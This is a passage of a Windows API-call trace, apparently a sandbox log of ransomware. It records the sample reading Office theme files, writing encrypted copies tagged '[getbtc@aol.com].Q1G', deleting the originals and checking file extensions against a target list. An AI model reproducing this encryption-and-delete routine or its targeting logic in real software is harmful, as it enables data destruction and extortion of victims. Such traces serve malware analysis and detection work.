lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0244.889] GetLastError () returned 0x0 [0244.889] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x53af, lpOverlapped=0x0) returned 1 [0244.975] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x53b0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x53b0, lpOverlapped=0x0) returned 1 [0244.977] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0244.977] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0244.977] SetEndOfFile (hFile=0x3c0) returned 1 [0244.977] CloseHandle (hObject=0x3c0) returned 1 [0244.977] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.977] SetEndOfFile (hFile=0x3bc) returned 1 [0244.982] CloseHandle (hObject=0x3bc) returned 1 [0244.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx")) returned 1 [0244.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0244.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0244.983] lstrlenW (lpString=".doc") returned 4 [0244.984] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.984] lstrlenW (lpString=".docx") returned 5 [0244.984] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.984] lstrlenW (lpString=".pdf") returned 4 [0244.984] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.984] lstrlenW (lpString=".xls") returned 4 [0244.984] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.984] lstrlenW (lpString=".xlsx") returned 5 [0244.984] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.984] lstrlenW (lpString=".ppt") returned 4 [0244.984] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0244.984] lstrlenW (lpString=".zip") returned 4 [0244.984] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.984] lstrlenW (lpString=".rar") returned 4 [0244.984] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.984] lstrlenW (lpString=".bz2") returned 4 [0244.984] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.984] lstrlenW (lpString=".7z") returned 3 [0244.984] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0244.984] lstrlenW (lpString=".dbf") returned 4 [0244.984] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0244.984] lstrlenW (lpString=".1cd") returned 4 [0244.984] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0244.984] lstrlenW (lpString=".jpg") returned 4 [0244.984] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0244.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0244.984] lstrlenW (lpString=".doc") returned 4 [0244.984] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.984] lstrlenW (lpString=".docx") returned 5 [0244.985] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.985] lstrlenW (lpString=".pdf") returned 4 [0244.985] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.985] lstrlenW (lpString=".xls") returned 4 [0244.985] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.985] lstrlenW (lpString=".xlsx") returned 5 [0244.985] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.985] lstrlenW (lpString=".ppt") returned 4 [0244.985] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0244.985] lstrlenW (lpString=".zip") returned 4 [0244.985] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.985] lstrlenW (lpString=".rar") returned 4 [0244.985] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.985] lstrlenW (lpString=".bz2") returned 4 [0244.985] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.985] lstrlenW (lpString=".7z") returned 3 [0244.985] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0244.985] lstrlenW (lpString=".dbf") returned 4 [0244.985] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0244.985] lstrlenW (lpString=".1cd") returned 4 [0244.985] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0244.985] lstrlenW (lpString=".jpg") returned 4 [0244.985] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.985] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0244.985] lstrlenW (lpString="Slipstream.eftx") returned 15 [0244.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0245.015] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=27789) returned 1 [0245.015] CloseHandle (hObject=0x324) returned 1 [0245.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx")) returned 0x20 [0245.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0245.016] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0245.016] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0245.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0245.017] GetLastError () returned 0x0 [0245.017] ReadFile (in: hFile=0x324, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x6c8d, lpOverlapped=0x0) returned 1 [0245.021] WriteFile (in: hFile=0x388, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x6c90, lpOverlapped=0x0) returned 1 [0245.022] ReadFile (in: hFile=0x324, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0245.022] WriteFile (in: hFile=0x388, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0245.022] SetEndOfFile (hFile=0x388) returned 1 [0245.022] CloseHandle (hObject=0x388) returned 1 [0245.023] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0245.023] SetEndOfFile (hFile=0x324) returned 1 [0245.027] CloseHandle (hObject=0x324) returned 1 [0245.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx")) returned 1 [0245.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0245.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0245.115] lstrlenW (lpString=".doc") returned 4 [0245.115] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.115] lstrlenW (lpString=".docx") returned 5 [0245.115] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.115] lstrlenW (lpString=".pdf") returned 4 [0245.115] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.115] lstrlenW (lpString=".xls") returned 4 [0245.115] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.115] lstrlenW (lpString=".xlsx") returned 5 [0245.115] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.115] lstrlenW (lpString=".ppt") returned 4 [0245.115] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0245.115] lstrlenW (lpString=".zip") returned 4 [0245.115] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.115] lstrlenW (lpString=".rar") returned 4 [0245.115] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.115] lstrlenW (lpString=".bz2") returned 4 [0245.115] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.115] lstrlenW (lpString=".7z") returned 3 [0245.115] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0245.115] lstrlenW (lpString=".dbf") returned 4 [0245.115] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0245.115] lstrlenW (lpString=".1cd") returned 4 [0245.115] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0245.115] lstrlenW (lpString=".jpg") returned 4 [0245.115] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0245.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0245.116] lstrlenW (lpString=".doc") returned 4 [0245.116] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.116] lstrlenW (lpString=".docx") returned 5 [0245.116] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.116] lstrlenW (lpString=".pdf") returned 4 [0245.116] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.116] lstrlenW (lpString=".xls") returned 4 [0245.116] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.116] lstrlenW (lpString=".xlsx") returned 5 [0245.116] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.116] lstrlenW (lpString=".ppt") returned 4 [0245.116] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0245.116] lstrlenW (lpString=".zip") returned 4 [0245.116] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.116] lstrlenW (lpString=".rar") returned 4 [0245.116] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.116] lstrlenW (lpString=".bz2") returned 4 [0245.116] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.116] lstrlenW (lpString=".7z") returned 3 [0245.116] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0245.116] lstrlenW (lpString=".dbf") returned 4 [0245.116] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0245.116] lstrlenW (lpString=".1cd") returned 4 [0245.116] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0245.116] lstrlenW (lpString=".jpg") returned 4 [0245.116] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.117] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0245.117] lstrlenW (lpString="Solstice.eftx") returned 13 [0245.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0245.137] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=27781) returned 1 [0245.137] CloseHandle (hObject=0x20c) returned 1 [0245.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx")) returned 0x20 [0245.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0245.267] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0245.267] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0245.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0245.267] GetLastError () returned 0x0 [0245.267] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x6c85, lpOverlapped=0x0) returned 1 [0245.276] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x6c90, lpOverlapped=0x0) returned 1 [0245.278] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0245.278] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0245.278] SetEndOfFile (hFile=0x3a0) returned 1 [0245.278] CloseHandle (hObject=0x3a0) returned 1 [0245.278] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0245.278] SetEndOfFile (hFile=0x3b8) returned 1 [0245.281] CloseHandle (hObject=0x3b8) returned 1 [0245.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx")) returned 1 [0245.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0245.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0245.282] lstrlenW (lpString=".doc") returned 4 [0245.282] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.282] lstrlenW (lpString=".docx") returned 5 [0245.282] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.282] lstrlenW (lpString=".pdf") returned 4 [0245.282] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.282] lstrlenW (lpString=".xls") returned 4 [0245.282] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.282] lstrlenW (lpString=".xlsx") returned 5 [0245.282] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.282] lstrlenW (lpString=".ppt") returned 4 [0245.282] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0245.282] lstrlenW (lpString=".zip") returned 4 [0245.282] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.282] lstrlenW (lpString=".rar") returned 4 [0245.282] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.282] lstrlenW (lpString=".bz2") returned 4 [0245.282] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.282] lstrlenW (lpString=".7z") returned 3 [0245.282] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0245.282] lstrlenW (lpString=".dbf") returned 4 [0245.283] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0245.283] lstrlenW (lpString=".1cd") returned 4 [0245.283] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0245.283] lstrlenW (lpString=".jpg") returned 4 [0245.283] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0245.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0245.283] lstrlenW (lpString=".doc") returned 4 [0245.283] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.283] lstrlenW (lpString=".docx") returned 5 [0245.283] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.283] lstrlenW (lpString=".pdf") returned 4 [0245.283] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.283] lstrlenW (lpString=".xls") returned 4 [0245.283] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.283] lstrlenW (lpString=".xlsx") returned 5 [0245.283] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.283] lstrlenW (lpString=".ppt") returned 4 [0245.283] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0245.283] lstrlenW (lpString=".zip") returned 4 [0245.283] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.283] lstrlenW (lpString=".rar") returned 4 [0245.283] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.283] lstrlenW (lpString=".bz2") returned 4 [0245.283] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.283] lstrlenW (lpString=".7z") returned 3 [0245.283] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0245.283] lstrlenW (lpString=".dbf") returned 4 [0245.283] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0245.284] lstrlenW (lpString=".1cd") returned 4 [0245.284] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0245.284] lstrlenW (lpString=".jpg") returned 4 [0245.284] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.284] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0245.284] lstrlenW (lpString="Verve.eftx") returned 10 [0245.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0245.285] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=31224) returned 1 [0245.285] CloseHandle (hObject=0x3b8) returned 1 [0245.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx")) returned 0x20 [0245.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0245.286] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0245.286] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0245.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0245.286] GetLastError () returned 0x0 [0245.286] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x79f8, lpOverlapped=0x0) returned 1 [0245.288] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x7a00, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x7a00, lpOverlapped=0x0) returned 